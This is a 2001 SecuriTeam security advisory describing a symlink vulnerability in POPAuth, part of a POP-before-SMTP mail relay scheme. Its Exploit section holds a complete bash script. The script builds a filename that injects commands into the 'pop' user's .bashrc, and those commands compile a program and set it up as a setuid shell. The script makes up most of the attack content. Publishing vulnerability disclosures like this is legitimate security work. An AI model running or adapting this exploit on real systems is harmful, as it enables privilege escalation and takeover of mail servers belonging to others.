[UNIX] POPAuth Symlink Problem Allows Creation of a Setuid Shell

From: support@securiteam.com
Date: 12/23/01 

From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 23 Dec 2001 04:28:13 +0100 (CET)

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  POPAuth Symlink Problem Allows Creation of a Setuid Shell
------------------------------------------------------------------------

SUMMARY

POPAuth is part of the POP before SMTP scheme, the scheme would allow you
to restrict relaying through your mail server to only local users that
have authenticated using Post Office Protocol. A security vulnerability in
the product allows attackers to create a setuid shell with root
privileges, allowing system wide compromising of system security.

DETAILS

Impact:
In case of suid POPAuth and valid shell for user 'pop', the attached
script will create suid-pop shell, if someone su to 'pop'. This may happen
as a part of some automated check script (startup script).

Exploit:
#!/bin/bash

# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \" #include
<stdio.h>\n main(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\",
\\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho
done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE"

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul
Starzetz.

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